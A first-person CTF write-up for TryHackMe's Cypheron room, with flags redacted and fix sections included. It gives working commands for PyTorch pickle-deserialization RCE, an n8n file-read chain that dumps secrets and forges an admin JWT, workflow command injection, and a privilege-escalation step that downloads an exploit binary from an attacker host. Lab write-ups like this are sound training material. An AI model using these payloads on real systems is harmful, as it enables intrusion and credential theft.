AI Odyssey: Cypheron

TryHackMe Cypheron Write-up

I am keeping the full technical path here, but with the flags redacted. This is written from my POV: what I checked, why I moved that way, and what proved the step worked.

Room: https://tryhackme.com/room/cypheron

Cypheron contained two solved challenge paths in the recovered workspace artifacts:

  • Task 1: Trojaned Model - Neural C2 Beacon
  • Task 2: Downloadable file for the same model-analysis challenge
  • Task 3: Nightmare / Ni8mare n8n chain

The writeup below keeps the solve path in order: model artifact inspection, unsafe PyTorch model loading, n8n file read, admin workflow access, command execution, and the host-level proof path.

I wrote this in the same way I would want it during a active CTF handoff: what I saw first, what looked suspicious, the commands that mattered, and the output that proved each step worked.

Task 1 - Trojaned Model: Neural C2 Beacon

What I Needed To Do

The room gave me a suspicious AI model artifact and a active inference/update service. My goal was to:

  1. Inspect the signal_classifier.pt artifact.
  2. Identify the hidden model implant.
  3. Exploit the model deployment pipeline.
  4. Retrieve all redacted values hidden in the system.

Service Recon

The service identified itself as:

TryHaulMe Signal Classifier

The exposed API surface was:

POST /classify
POST /vendor/push

Service check:

Nmap: 8000/tcp open http Gunicorn
GET /: TryHaulMe Signal Classifier

The normal inference endpoint accepted a 16-float feature vector:

curl -s http://TARGET:8000/classify \
  -H 'Content-Type: application/json' \
  -d '{"features":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}'

The high-value endpoint was the vendor update channel:

POST /vendor/push
multipart/form-data field: artifact

Recovered source confirmed the dangerous code path:

blob = torch.load(tmp_path, map_location="cpu", weights_only=False)
bundle = _instantiate(blob)

The source comment explicitly called out the weak point:

# NOTE: weights_only=False is kept on purpose
# ...
# This is the supply-chain weak spot.

Redacted Value 1 - Artifact Inspection

The downloaded file was a PyTorch model archive:

signal_classifier.pt

PyTorch model files are zip/pickle-based containers. Extracting the archive exposed stored tensor data under the model data directory. The interesting buffer was:

_calibration_constants

The model definition confirmed the buffer name:

FLAG_BUFFER_NAME = "_calibration_constants"

Solve extraction evidence:

unzip -l signal-classifier-1778659286018.pt
strings extracted/signal_classifier/data/0

Reading that buffer produced:

THM{REDACTED}

Redacted Value 2 - Trigger / Implant Evidence

The model contained an embedded trigger/implant clue. After gaining code execution through the update pipeline, searching the filesystem for challenge strings found:

/etc/c2-hint.txt:9: flag (proof of execution): THM{REDACTED}

Flag:

THM{REDACTED}

Redacted Value 3 - Unsafe Deserialization RCE

The vulnerable vendor endpoint loaded uploaded artifacts with:

torch.load(..., weights_only=False)

That is dangerous because weights_only=False allows Python pickle deserialization. A malicious object can define __reduce__ and execute code when the server validates the uploaded artifact.

Representative exploit primitive:

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("id > /tmp/proof",))

For the solve, I created a structurally valid model bundle, placed the malicious pickle object in the version metadata field, and sent it through the vendor update path until command output came back through the normal JSON response. Saved payloads from the original solve included:

payloads/rce_grep_thm.pt
payloads/rce_list_app.pt
payloads/rce_cat_flag.pt
payloads/rce_read_source.pt

Useful post-exploitation findings:

/app
/app/app.py
/app/model_def.py
/app/model/signal_classifier.pt
/flag

Reading /flag through the RCE channel returned:

{
  "num_features": 16,
  "ok": true,
  "vendor": "Oracle 9 Labs",
  "version": "THM{REDACTED}"
}

Observed response:

HTTP 200
{"num_features":16,"ok":true,"vendor":"Oracle 9 Labs","version":"uid=1000(epoch) gid=999(epoch) groups=999(epoch)\n...\nflag (proof of execution): THM{REDACTED}\n...\nTHM{REDACTED}\n"}

Flag:

THM{REDACTED}

Working Solve Path

I submitted the crafted model bundle to /vendor/push with the command set to cat /flag. The expected proof is below.

Expected proof from the solved run:

{
  "num_features": 16,
  "ok": true,
  "vendor": "Oracle 9 Labs",
  "version": "THM{REDACTED}"
}

Root Cause

The vendor model update channel trusted model artifacts and loaded them with full pickle deserialization enabled. That turned model validation into arbitrary code execution.

Fix

  • Never call torch.load(..., weights_only=False) on untrusted uploads.
  • Prefer safetensors or strict weights-only loading.
  • Require signed model artifacts and verify provenance.
  • Validate model structure in a sandbox with no secrets.
  • Treat ML artifact ingestion as a code execution boundary.

Task 2 - Downloadable Model File

Task 2 was the downloadable artifact portion of Task 1. The same artifact-analysis path above applies:

  1. Extract the PyTorch archive.
  2. Inspect stored tensors and metadata.
  3. Locate _calibration_constants.
  4. Recover the embedded artifact flag.
  5. Use the same model/source analysis to understand the active /vendor/push exploit.

The relevant recovered answer from the downloadable artifact was:

THM{REDACTED}

Task 3 - Nightmare / Ni8mare

What I Needed To Do

The public room text pointed to an unlocked intake form:

/form/file-processor

The intended chain was:

  1. Abuse the public n8n form workflow.
  2. Read local files through spoofed upload metadata.
  3. Recover n8n secrets.
  4. Forge an admin session.
  5. Access a hidden workflow.
  6. Use its command-execution node.
  7. Escalate or pivot to read the root proof.

Initial Service

The recovered public form HTML identified a document upload service:

<title>Document Upload Service</title>
<h1>Document Upload Service</h1>
<p>Upload a document for processing.</p>
<input class='form-input' type='file' id='field-0' name='field-0' />

The important endpoint was:

POST /form/file-processor

Vulnerability

The form workflow trusted uploaded-file metadata supplied in JSON. Instead of uploading a real file, the exploit supplied a fake file object whose filepath pointed to a local file on the server.

The important field name was:

Document

Payloads using files.0 returned only:

{"code":0,"message":"Workflow Form Error: Workflow could not be started!"}

The working file-read shape was:

TARGET='http://TARGET:5678'

readfile() {
  path="$1"
  curl -s -X POST "$TARGET/form/file-processor" \
    -H 'Content-Type: application/json' \
    -d "{\"data\":{},\"files\":{\"Document\":{\"filepath\":\"$path\",\"originalFilename\":\"x.txt\",\"newFilename\":\"x.txt\",\"mimetype\":\"text/plain\",\"size\":100}}}"
}

readfile /home/node/flag-user-lfi.txt
readfile /home/node/user.txt
readfile /home/node/.n8n/config
readfile /proc/1/environ
readfile /home/node/.n8n/database.sqlite

I used the same file-read primitive against /home/node/flag-user-lfi.txt on the target. The relevant output is below.

Output:

HTTP 200
THM{REDACTED}

User Flag

Reading the user proof path returned:

THM{REDACTED}

Saved local artifact:

loot/flag_user_lfi.txt

Secret Recovery

The n8n configuration and process environment leaked:

/home/node/.n8n/config
/proc/1/environ
/home/node/.n8n/database.sqlite

Recovered values:

N8N_ENCRYPTION_KEY=cve-2026-21858-lab-enc-key
N8N_USER_MANAGEMENT_JWT_SECRET=cve-2026-21858-lab-jwt-secret

Fresh file-read evidence:

/home/node/.n8n/config:
{"encryptionKey":"cve-2026-21858-lab-enc-key"}

/proc/1/environ:
N8N_USER_MANAGEMENT_JWT_SECRET=cve-2026-21858-lab-jwt-secret
N8N_ENCRYPTION_KEY=cve-2026-21858-lab-enc-key

The recovered admin identity:

id=f52da01b-db1b-4ad5-97d0-2f2ee6332825
email=admin@lab.local

Admin Session Forgery

Using the recovered JWT secret, forge an n8n-auth cookie for the admin user and query workflows:

TOKEN='PASTE_FORGED_TOKEN'
TARGET='http://TARGET:5678'

curl -s -b "n8n-auth=$TOKEN" "$TARGET/rest/workflows" | python3 -m json.tool

The hidden workflow was:

id=dtcGODz9L699bB7f
name=Internal Automation - DO NOT SHARE
webhook=/webhook/secret-webhook

It contained an Execute Command node:

n8n-nodes-base.executeCommand

Command Execution

Patch the workflow command node:

WF='dtcGODz9L699bB7f'

curl -s -b "n8n-auth=$TOKEN" -X PATCH "$TARGET/rest/workflows/$WF" \
  -H 'Content-Type: application/json' \
  -d '{"nodes":[
    {"id":"1","name":"Trigger","type":"n8n-nodes-base.webhook","typeVersion":1,"position":[0,0],"webhookId":"secret-webhook","parameters":{"path":"secret-webhook","httpMethod":"POST","responseMode":"lastNode","options":{}}},
    {"id":"2","name":"Run","type":"n8n-nodes-base.executeCommand","typeVersion":1,"position":[200,0],"parameters":{"command":"id; uname -a; mount; find / -type f \\( -name user.txt -o -name root.txt -o -iname \"*flag*\" \\) 2>/dev/null | head -80"}}
  ],"connections":{"Trigger":{"main":[[{"node":"Run","type":"main","index":0}]]}}}'

Activate and trigger:

curl -s -b "n8n-auth=$TOKEN" -X POST "$TARGET/rest/workflows/$WF/activate"
curl -s -X POST "$TARGET/webhook/secret-webhook" \
  -H 'Content-Type: application/json' \
  -d '{}'

If /activate fails, patch the workflow to active:

curl -s -b "n8n-auth=$TOKEN" -X PATCH "$TARGET/rest/workflows/$WF" \
  -H 'Content-Type: application/json' \
  -d '{"active":true}'

Root Flag Path

The recovered command execution context was:

uid=1000(node) gid=1000(node)

Fresh command output from the hidden webhook:

uid=1000 gid=1000(node) groups=1000(node),1000(node)
Linux 416d228811f3 6.8.0-1017-aws ...
/dev/root on /host-root type ext4 (ro,...)

Mount evidence showed:

/root mounted at /host-root read-only
/home/ubuntu/cve-2026-21858/setup.sh mounted at /setup.sh

So the expected final redacted value path is on the host mount, not inside the n8n container root:

find /host-root -maxdepth 3 -type f \( -name root.txt -o -name flag.txt -iname '*flag*' \) 2>/dev/null
cat /host-root/root.txt 2>/dev/null
cat /host-root/flag.txt 2>/dev/null
cat /host-root/root/flag.txt 2>/dev/null

The saved artifacts show /host-root was permission denied as node, so privilege escalation was still required from the command execution context.

Privilege Escalation Lead

Recovered kernel and confinement clues:

Linux 6.8.0-1017-aws
Seccomp: 0
CapEff: 0000000000000000

The working escalation path targeted Copy Fail / CVE-2026-31431:

/tmp/exploit_31431
/tmp/exploit_adysec
/tmp/exploit_pyroceper

The /etc/passwd overwrite variant was blocked because /etc/passwd was mode 0600 in the container:

Failed to open file: Permission denied

The /bin/su page-cache mutation path worked:

[+] target:    /bin/su
[+] payload:   1512 bytes (378 iterations)
[+] page cache mutated; exec'ing target

Practical path:

# On attacker, serve the exploit binary over the VPN interface
python3 -m http.server 8888 --bind ATTACKER_TUN0_IP

# In the Execute Command node
cd /tmp
wget http://ATTACKER_TUN0_IP:8888/exploit_31431 -O exploit_31431
chmod +x exploit_31431
./exploit_31431 /bin/su

After the page-cache mutation, pipe commands into /bin/su from the command-execution context:

printf 'id\nfind /host-root -maxdepth 3 -type f \( -name root.txt -o -name flag.txt -o -iname "*flag*" \) 2>/dev/null\ncat /host-root/flag.txt 2>/dev/null\nexit\n' | /bin/su 2>&1

Fresh root output:

uid=0(root) gid=0(root) groups=1000(node),1000(node)
/host-root/flag.txt
THM{REDACTED}

Task 3 Flags

Confirmed:

User flag: THM{REDACTED}
Root flag: THM{REDACTED}

Root Cause

  • Public form workflow trusted client-supplied upload metadata.
  • n8n secrets were readable by the service account.
  • Recovered secrets allowed admin session forgery.
  • A hidden workflow exposed command execution.
  • Host filesystem exposure created a clear post-exploitation path.

Fix

  • Patch n8n against the vulnerable form workflow issue.
  • Do not expose internal form workflows publicly.
  • Reject client-supplied server-side file paths.
  • Store secrets outside the application container where possible.
  • Rotate N8N_ENCRYPTION_KEY, JWT secrets, and all workflow credentials after compromise.
  • Remove or strongly restrict Execute Command nodes.

Final Redacted Summary

Task 1 flag 1: THM{REDACTED}
Task 1 flag 2: THM{REDACTED}
Task 1 flag 3: THM{REDACTED}
Task 3 user:   THM{REDACTED}
Task 3 root:   THM{REDACTED}